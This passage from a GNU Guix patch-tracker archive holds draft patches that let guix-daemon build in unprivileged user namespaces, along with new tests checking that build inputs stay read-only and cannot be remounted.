+	    prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0);
+# endif
+
 	    if (!fixedOutput) {
 		/* Initialise the loopback interface. */
 		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-- 
2.48.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH v2 5/9] DRAFT tests: Run in a chroot and unprivileged user namespaces.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Thu, 13 Feb 2025 12:14:03 +0000
Resent-Message-ID: <handler.75810.B75810.173944882714034 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944882714034
          (code B ref 75810); Thu, 13 Feb 2025 12:14:03 +0000
Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:47 +0000
Received: from localhost ([127.0.0.1]:41134 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6E-0003eE-PO
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:47 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51220)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY61-0003cM-Jl
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:37 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5w-0001Cb-9l; Thu, 13 Feb 2025 07:13:28 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=a5JtM26SxyhofCBFMp0yoAhLEcbZEpHKDsd7swN2muU=; b=OSxRTznh/gM3SjY+6BWG
 yP2Ib2pQ2zagVzkvjFk+LHc/J+azdFmsxcSHvnGgzSQOkGEiEUSIglGCkBO8AhGr4GkyVYW7XmC0v
 pdMzjoOZUPiZBUbvkIXP1V6Ztl7Q4XbKKLgVrH7hmUdigvuWNRE7tDc8p6TKRfS5MbSThYiljAkI5
 qPW7eu/lQrJdp0zcEOvC9nCQCvTam2nn8AffU1/MSr7j1D7LqhHbi+vSjb/Qy2J/iV4+B/RFxq/Dl
 UE7T9q6AVnkPOkNjdpLpxiUmfCiaVbsClSQsemFjrWD4G+QPwCT5xA2hzZIftrjYwXnCCOwXCtI62
 2qG1hlVR07WoTA==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Thu, 13 Feb 2025 13:13:08 +0100
Message-ID: <913c41825df54b9c7d1fbad1fb1e7e9f48bd0d13.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

DRAFT:

  - Double-check the test suite.

* build-aux/test-env.in: Pass ‘--disable-chroot’ only when unprivileged
user namespace support is lacking.
* tests/store.scm ("build-things, check mode"): Use ‘gettimeofday’
rather than a shared file as a source of entropy.
("isolated environment", "inputs are read-only")
("inputs cannot be remounted read-write"): New tests.

Change-Id: Iedb816ef548c77799e5b2f9b6a3b7510ad19ec2a
---
 build-aux/test-env.in |  14 +++-
 tests/store.scm       | 144 ++++++++++++++++++++++++++++++++----------
 2 files changed, 121 insertions(+), 37 deletions(-)

diff --git a/build-aux/test-env.in b/build-aux/test-env.in
index 9caa29da581..5626152b346 100644
--- a/build-aux/test-env.in
+++ b/build-aux/test-env.in
@@ -1,7 +1,7 @@
 #!/bin/sh
 
 # GNU Guix --- Functional package management for GNU
-# Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2021 Ludovic Courtès <ludo@HIDDEN>
+# Copyright © 2012-2019, 2021, 2025 Ludovic Courtès <ludo@HIDDEN>
 #
 # This file is part of GNU Guix.
 #
@@ -102,10 +102,20 @@ then
     rm -rf "$GUIX_STATE_DIRECTORY/daemon-socket"
     mkdir -m 0700 "$GUIX_STATE_DIRECTORY/daemon-socket"
 
+    # If unprivileged user namespaces are not supported, pass
+    # '--disable-chroot'.
+    if [ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+       || [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]; then
+	extra_options=""
+    else
+	extra_options="--disable-chroot"
+    fi
+
     # Launch the daemon without chroot support because is may be
     # unavailable, for instance if we're not running as root.
     "@abs_top_builddir@/pre-inst-env"				\
-	"@abs_top_builddir@/guix-daemon" --disable-chroot	\
+	"@abs_top_builddir@/guix-daemon"			\
+        $extra_options						\
 	--substitute-urls="$GUIX_BINARY_SUBSTITUTE_URL" &
 
     daemon_pid=$!
diff --git a/tests/store.scm b/tests/store.scm
index 45948f4f433..cf19cf91211 100644
--- a/tests/store.scm
+++ b/tests/store.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2012-2021, 2023 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2012-2021, 2023, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -28,8 +28,12 @@ (define-module (test-store)
   #:use-module (guix base32)
   #:use-module (guix packages)
   #:use-module (guix derivations)
+  #:use-module ((guix modules)
+                #:select (source-module-closure))
   #:use-module (guix serialization)
   #:use-module (guix build utils)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix gexp)
   #:use-module (gnu packages)
   #:use-module (gnu packages bootstrap)
@@ -391,6 +395,85 @@ (define %shell
          (equal? (valid-derivers %store o)
                  (list (derivation-file-name d))))))
 
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "isolated environment"
+  (string-join (append
+                '("PID: 1" "UID: 30001")
+                (delete-duplicates
+                 (sort (list "/dev" "/tmp" "/proc" "/etc"
+                             (match (string-tokenize (%store-prefix)
+                                                     (char-set-complement
+                                                      (char-set #\/)))
+                               ((top _ ...) (string-append "/" top))))
+                       string<?))
+                '("/etc/group" "/etc/hosts" "/etc/passwd")))
+  (let* ((b (add-text-to-store %store "build.sh"
+                               "echo -n PID: $$ UID: $UID /* /etc/* > $out"))
+         (s (add-to-store %store "bash" #t "sha256"
+                          (search-bootstrap-binary "bash"
+                                                   (%current-system))))
+         (d (derivation %store "the-thing"
+                        s `("-e" ,b)
+                        #:env-vars `(("foo" . ,(random-text)))
+                        #:sources (list b s)))
+         (o (derivation->output-path d)))
+    (and (build-derivations %store (list d))
+         (call-with-input-file o get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "inputs are read-only"
+  "All good!"
+  (let* ((input (plain-file (string-append "might-be-tampered-with-"
+                                           (number->string
+                                            (car (gettimeofday))
+                                            16))
+                            "All good!"))
+         (drv
+          (run-with-store %store
+            (gexp->derivation
+             "attempt-to-remount-input-read-write"
+             (with-imported-modules (source-module-closure
+                                     '((guix build syscalls)))
+               #~(begin
+                   (use-modules (guix build syscalls))
+
+                   (let ((input #$input))
+                     (chmod input #o666)
+                     (call-with-output-file input
+                       (lambda (port)
+                         (display "BAD!" port)))
+                     (mkdir #$output))))))))
+    (and (guard (c ((store-protocol-error? c) #t))
+           (build-derivations %store (list drv)))
+         (call-with-input-file (run-with-store %store
+                                 (lower-object input))
+           get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "inputs cannot be remounted read-write"
+  (let ((drv
+         (run-with-store %store
+           (gexp->derivation
+            "attempt-to-remount-input-read-write"
+            (with-imported-modules (source-module-closure
+                                    '((guix build syscalls)))
+              #~(begin
+                  (use-modules (guix build syscalls))
+
+                  (let ((input #$(plain-file "input-that-might-be-tampered-with"
+                                             "All good!")))
+                    (mount "none" input "none" (logior MS_BIND MS_REMOUNT))
+                    (call-with-output-file input
+                      (lambda (port)
+                        (display "BAD!" port)))
+                    (mkdir #$output))))))))
+    (guard (c ((store-protocol-error? c) #t))
+      (build-derivations %store (list drv))
+      #f)))
+
 (test-equal "with-build-handler"
   'success
   (let* ((b  (add-text-to-store %store "build" "echo $foo > $out" '()))
@@ -1333,40 +1416,31 @@ (define %shell
 
 (test-assert "build-things, check mode"
   (with-store store
-    (call-with-temporary-output-file
-     (lambda (entropy entropy-port)
-       (write (random-text) entropy-port)
-       (force-output entropy-port)
-       (let* ((drv  (build-expression->derivation
-                     store "non-deterministic"
-                     `(begin
-                        (use-modules (rnrs io ports))
-                        (let ((out (assoc-ref %outputs "out")))
-                          (call-with-output-file out
-                            (lambda (port)
-                              ;; Rely on the fact that tests do not use the
-                              ;; chroot, and thus ENTROPY is readable.
-                              (display (call-with-input-file ,entropy
-                                         get-string-all)
-                                       port)))
-                          #t))
-                     #:guile-for-build
-                     (package-derivation store %bootstrap-guile (%current-system))))
-              (file (derivation->output-path drv)))
-         (and (build-things store (list (derivation-file-name drv)))
-              (begin
-                (write (random-text) entropy-port)
-                (force-output entropy-port)
-                (guard (c ((store-protocol-error? c)
-                           (pk 'determinism-exception c)
-                           (and (not (zero? (store-protocol-error-status c)))
-                                (string-contains (store-protocol-error-message c)
-                                                 "deterministic"))))
-                  ;; This one will produce a different result.  Since we're in
-                  ;; 'check' mode, this must fail.
-                  (build-things store (list (derivation-file-name drv))
-                                (build-mode check))
-                  #f))))))))
+    (let* ((drv  (build-expression->derivation
+                  store "non-deterministic"
+                  `(begin
+                     (use-modules (rnrs io ports))
+                     (let ((out (assoc-ref %outputs "out")))
+                       (call-with-output-file out
+                         (lambda (port)
+                           (let ((now (gettimeofday)))
+                             (display (+ (car now) (cdr now)) port))))
+                       #t))
+                  #:guile-for-build
+                  (package-derivation store %bootstrap-guile (%current-system))))
+           (file (derivation->output-path drv)))
+      (and (build-things store (list (derivation-file-name drv)))
+           (begin
+             (guard (c ((store-protocol-error? c)
+                        (pk 'determinism-exception c)
+                        (and (not (zero? (store-protocol-error-status c)))
+                             (string-contains (store-protocol-error-message c)
+                                              "deterministic"))))
+               ;; This one will produce a different result.  Since we're in
+               ;; 'check' mode, this must fail.
+               (build-things store (list (derivation-file-name drv))
+                             (build-mode check))
+               #f))))))
 
 (test-assert "build-succeeded trace in check mode"
   (string-contains
-- 
2.48.1





Message sent to guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH v2 4/9] daemon: Allow running as non-root with unprivileged user namespaces.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN
Resent-Date: Thu, 13 Feb 2025 12:14:04 +0000
Resent-Message-ID: <handler.75810.B75810.173944883414053 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludovic.courtes@HIDDEN>, Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>
X-Debbugs-Original-Xcc: Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944883414053
          (code B ref 75810); Thu, 13 Feb 2025 12:14:04 +0000
Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:54 +0000
Received: from localhost ([127.0.0.1]:41136 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6L-0003eY-Fb
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:54 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51236)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY61-0003cN-Kt
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:38 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5v-0001C4-8t; Thu, 13 Feb 2025 07:13:27 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=X9e3xrOrc9fu+8aX5VR4ar43pNbWOZRcdzd3TBJnZvU=; b=YmqmF8Ywz7zJ2XFU5LDe
 xMPvsgIq7+pQlxqfZ+QdNCbsilpruzH09/+/BlXMKtsc8Iqig2Qi34NE+3Ck7/T7OtAHEcDCMLM4Z
 6f1EA3jb7u+9APSQqvOE0tq/dhkx4o8bN8NVaGMnxQKucvO100kaeemId8nEjQPHP8JmgwmuuNbf/
 TiLyRkaV6NysNr3Hfivdt7xv4rg7YP3mV8iD3pd4f93sicvJk/2bi3iffUqC0hUDXPbJs2oD9Y1YL
 1EYng8QyiP5IYJFxMzNGeBsLuqXfKZAbGWN6I3ET9+X5PbiqJhRNNV95IC59jGT1bp0xdcT69yesJ
 fN+Dzt8t9jfNBA==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Thu, 13 Feb 2025 13:13:07 +0100
Message-ID: <eb3f91a7e866f9a1565afd094a158269f548b89e.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

From: Ludovic Courtès <ludovic.courtes@HIDDEN>

* nix/libstore/build.cc (guestUID, guestGID): New variables.
(DerivationGoal)[readiness]: New field.
(initializeUserNamespace): New function.
(DerivationGoal::runChild): When ‘readiness.readSide’ is positive, read
from it.
(DerivationGoal::startBuilder): Call ‘chown’
only when ‘buildUser.enabled()’ is true.  Pass CLONE_NEWUSER to ‘clone’
when ‘buildUser.enabled()’ is false or not running as root.  Retry
‘clone’ without CLONE_NEWUSER upon EPERM.
(DerivationGoal::registerOutputs): Make ‘actualPath’ writable before
‘rename’.
(DerivationGoal::deleteTmpDir): Catch ‘SysError’ around ‘_chown’ call.
* nix/libstore/local-store.cc (LocalStore::createUser): Do nothing if
‘dirs’ already exists.  Warn instead of failing when failing to chown
‘dir’.
* guix/substitutes.scm (%narinfo-cache-directory): Check for
‘_NIX_OPTIONS’ rather than getuid() == 0 to determine the cache
location.

Change-Id: I38fbe01f80fb45a99cd8a391e55a39a54d64fcb7
---
 guix/substitutes.scm        |   4 +-
 nix/libstore/build.cc       | 128 +++++++++++++++++++++++++++++-------
 nix/libstore/local-store.cc |  22 +++++--
 3 files changed, 123 insertions(+), 31 deletions(-)

diff --git a/guix/substitutes.scm b/guix/substitutes.scm
index e31b3940203..2761a3dafb4 100644
--- a/guix/substitutes.scm
+++ b/guix/substitutes.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2013-2021, 2023-2024 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2013-2021, 2023-2025 Ludovic Courtès <ludo@HIDDEN>
 ;;; Copyright © 2014 Nikita Karetnikov <nikita@HIDDEN>
 ;;; Copyright © 2018 Kyle Meyer <kyle@HIDDEN>
 ;;; Copyright © 2020 Christopher Baines <mail@HIDDEN>
@@ -76,7 +76,7 @@ (define %narinfo-cache-directory
   ;; time, 'guix substitute' is called by guix-daemon as root and stores its
   ;; cached data in /var/guix/….  However, when invoked from 'guix challenge'
   ;; as a user, it stores its cache in ~/.cache.
-  (if (zero? (getuid))
+  (if (getenv "_NIX_OPTIONS")                     ;invoked by guix-daemon
       (or (and=> (getenv "XDG_CACHE_HOME")
                  (cut string-append <> "/guix/substitute"))
           (string-append %state-directory "/substitute/cache"))
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 7151bb6c6f1..18dd27460b7 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -747,6 +747,10 @@ private:
 
     friend int childEntry(void *);
 
+    /* Pipe to notify readiness to the child process when using unprivileged
+       user namespaces.  */
+    Pipe readiness;
+
     /* Check that the derivation outputs all exist and register them
        as valid. */
     void registerOutputs();
@@ -1622,6 +1626,25 @@ int childEntry(void * arg)
 }
 
 
+/* UID and GID of the build user inside its own user namespace.  */
+static const uid_t guestUID = 30001;
+static const gid_t guestGID = 30000;
+
+/* Initialize the user namespace of CHILD.  */
+static void initializeUserNamespace(pid_t child)
+{
+    auto hostUID = getuid();
+    auto hostGID = getgid();
+
+    writeFile("/proc/" + std::to_string(child) + "/uid_map",
+	      (format("%d %d 1") % guestUID % hostUID).str());
+
+    writeFile("/proc/" + std::to_string(child) + "/setgroups", "deny");
+
+    writeFile("/proc/" + std::to_string(child) + "/gid_map",
+	      (format("%d %d 1") % guestGID % hostGID).str());
+}
+
 void DerivationGoal::startBuilder()
 {
     auto f = format(
@@ -1685,7 +1708,7 @@ void DerivationGoal::startBuilder()
 	   then an attacker could create in it a hardlink to a root-owned file
 	   such as /etc/shadow.  If 'keepFailed' is true, the daemon would
 	   then chown that hardlink to the user, giving them write access to
-	   that file.  */
+	   that file.  See CVE-2021-27851.  */
 	tmpDir += "/top";
 	if (mkdir(tmpDir.c_str(), 0700) == 1)
 	    throw SysError("creating top-level build directory");
@@ -1802,7 +1825,7 @@ void DerivationGoal::startBuilder()
         if (mkdir(chrootRootDir.c_str(), 0750) == -1)
             throw SysError(format("cannot create ‘%1%’") % chrootRootDir);
 
-        if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootRootDir);
 
         /* Create a writable /tmp in the chroot.  Many builders need
@@ -1821,8 +1844,8 @@ void DerivationGoal::startBuilder()
             (format(
                 "nixbld:x:%1%:%2%:Nix build user:/:/noshell\n"
                 "nobody:x:65534:65534:Nobody:/:/noshell\n")
-                % (buildUser.enabled() ? buildUser.getUID() : getuid())
-                % (buildUser.enabled() ? buildUser.getGID() : getgid())).str());
+                % (buildUser.enabled() ? buildUser.getUID() : guestUID)
+                % (buildUser.enabled() ? buildUser.getGID() : guestGID)).str());
 
         /* Declare the build user's group so that programs get a consistent
            view of the system (e.g., "id -gn"). */
@@ -1857,7 +1880,7 @@ void DerivationGoal::startBuilder()
         createDirs(chrootStoreDir);
         chmod_(chrootStoreDir, 01775);
 
-        if (chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
@@ -1948,14 +1971,34 @@ void DerivationGoal::startBuilder()
     if (useChroot) {
 	char stack[32 * 1024];
 	int flags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | SIGCHLD;
-	if (!fixedOutput) flags |= CLONE_NEWNET;
+	if (!fixedOutput) {
+	    flags |= CLONE_NEWNET;
+	}
+	if (!buildUser.enabled() || getuid() != 0) {
+	    flags |= CLONE_NEWUSER;
+	    readiness.create();
+	}
+
 	/* Ensure proper alignment on the stack.  On aarch64, it has to be 16
 	   bytes.  */
-	pid = clone(childEntry,
+ 	pid = clone(childEntry,
 		    (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf),
 		    flags, this);
-	if (pid == -1)
-	    throw SysError("cloning builder process");
+	if (pid == -1) {
+	    if ((flags & CLONE_NEWUSER) != 0 && getuid() != 0)
+		/* 'clone' fails with EPERM on distros where unprivileged user
+		   namespaces are disabled.  Error out instead of giving up on
+		   isolation.  */
+		throw SysError("cannot create process in unprivileged user namespace");
+	    else
+		throw SysError("cloning builder process");
+	}
+
+	if ((flags & CLONE_NEWUSER) != 0) {
+	     /* Initialize the UID/GID mapping of the child process.  */
+	     initializeUserNamespace(pid);
+	     writeFull(readiness.writeSide, (unsigned char*)"go\n", 3);
+	}
     } else
 #endif
     {
@@ -2001,23 +2044,34 @@ void DerivationGoal::runChild()
 
         _writeToStderr = 0;
 
+	if (readiness.readSide > 0) {
+	     /* Wait for the parent process to initialize the UID/GID mapping
+		of our user namespace.  */
+	     char str[20] = { '\0' };
+	     readFull(readiness.readSide, (unsigned char*)str, 3);
+	     if (strcmp(str, "go\n") != 0)
+		  throw Error("failed to initialize process in unprivileged user namespace");
+	}
+
         restoreAffinity();
 
         commonChildInit(builderOut);
 
 #if CHROOT_ENABLED
         if (useChroot) {
-            /* Initialise the loopback interface. */
-            AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-            if (fd == -1) throw SysError("cannot open IP socket");
+	    if (!fixedOutput) {
+		/* Initialise the loopback interface. */
+		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
+		if (fd == -1) throw SysError("cannot open IP socket");
 
-            struct ifreq ifr;
-            strcpy(ifr.ifr_name, "lo");
-            ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
-            if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
-                throw SysError("cannot set loopback interface flags");
+		struct ifreq ifr;
+		strcpy(ifr.ifr_name, "lo");
+		ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
+		if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
+		    throw SysError("cannot set loopback interface flags");
 
-            fd.close();
+		fd.close();
+	    }
 
             /* Set the hostname etc. to fixed values. */
             char hostname[] = "localhost";
@@ -2447,8 +2501,16 @@ void DerivationGoal::registerOutputs()
             if (buildMode == bmRepair)
               replaceValidPath(path, actualPath);
             else
-              if (buildMode != bmCheck && rename(actualPath.c_str(), path.c_str()) == -1)
-                throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		if (buildMode != bmCheck) {
+		    if (S_ISDIR(st.st_mode))
+			/* Change mode on the directory to allow for
+			   rename(2).  */
+			chmod(actualPath.c_str(), st.st_mode | 0700);
+		    if (rename(actualPath.c_str(), path.c_str()) == -1)
+			throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		    if (S_ISDIR(st.st_mode) && chmod(path.c_str(), st.st_mode) == -1)
+			throw SysError(format("restoring permissions on directory `%1%'") % actualPath);
+		}
           }
           if (buildMode != bmCheck) actualPath = path;
         }
@@ -2707,8 +2769,25 @@ void DerivationGoal::deleteTmpDir(bool force)
             // Change the ownership if clientUid is set. Never change the
             // ownership or the group to "root" for security reasons.
             if (settings.clientUid != (uid_t) -1 && settings.clientUid != 0) {
-                _chown(tmpDir, settings.clientUid,
-                       settings.clientGid != 0 ? settings.clientGid : -1);
+		uid_t uid = settings.clientUid;
+		gid_t gid = settings.clientGid != 0 ? settings.clientGid : -1;
+		try {
+		    _chown(tmpDir, uid, gid);
+
+		    if (getuid() != 0) {
+			/* If, without being root, the '_chown' call above
+			   succeeded, then it means we have CAP_CHOWN.  Retake
+			   ownership of tmpDir itself so it can be renamed
+			   below.  */
+			chown(tmpDir.c_str(), getuid(), getgid());
+		    }
+		} catch (SysError & e) {
+		    /* When running as an unprivileged user and without
+		       CAP_CHOWN, we cannot chown the build tree.  Print a
+		       message and keep going.  */
+		    printMsg(lvlInfo, format("cannot change ownership of build directory '%1%': %2%")
+			     % tmpDir % strerror(e.errNo));
+		}
 
 		if (top != tmpDir) {
 		    // Rename tmpDir to its parent, with an intermediate step.
@@ -2717,6 +2796,11 @@ void DerivationGoal::deleteTmpDir(bool force)
 			throw SysError("pivoting failed build tree");
 		    if (rename((pivot + "/top").c_str(), top.c_str()) == -1)
 			throw SysError("renaming failed build tree");
+
+		    if (getuid() != 0)
+			/* Running unprivileged but with CAP_CHOWN.  */
+			chown(top.c_str(), uid, gid);
+
 		    rmdir(pivot.c_str());
 		}
             }
diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 0883a4bbcee..4308264a4f3 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -306,14 +306,14 @@ void LocalStore::openDB(bool create)
 void LocalStore::makeStoreWritable()
 {
 #if HAVE_UNSHARE && HAVE_STATVFS && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_REMOUNT)
-    if (getuid() != 0) return;
     /* Check if /nix/store is on a read-only mount. */
     struct statvfs stat;
     if (statvfs(settings.nixStore.c_str(), &stat) != 0)
         throw SysError("getting info about the store mount point");
 
     if (stat.f_flag & ST_RDONLY) {
-        if (unshare(CLONE_NEWNS) == -1)
+	int flags = CLONE_NEWNS | (getpid() == 0 ? 0 : CLONE_NEWUSER);
+        if (unshare(flags) == -1)
             throw SysError("setting up a private mount namespace");
 
         if (mount(0, settings.nixStore.c_str(), "none", MS_REMOUNT | MS_BIND, 0) == -1)
@@ -1614,11 +1614,19 @@ void LocalStore::createUser(const std::string & userName, uid_t userId)
 {
     auto dir = settings.nixStateDir + "/profiles/per-user/" + userName;
 
-    createDirs(dir);
-    if (chmod(dir.c_str(), 0755) == -1)
-	throw SysError(format("changing permissions of directory '%s'") % dir);
-    if (chown(dir.c_str(), userId, -1) == -1)
-	throw SysError(format("changing owner of directory '%s'") % dir);
+    auto created = createDirs(dir);
+    if (!created.empty()) {
+	if (chmod(dir.c_str(), 0755) == -1)
+	    throw SysError(format("changing permissions of directory '%s'") % dir);
+
+	/* The following operation requires CAP_CHOWN or can be handled
+	   manually by a user with CAP_CHOWN.  */
+	if (chown(dir.c_str(), userId, -1) == -1) {
+	    rmdir(dir.c_str());
+	    string message = strerror(errno);
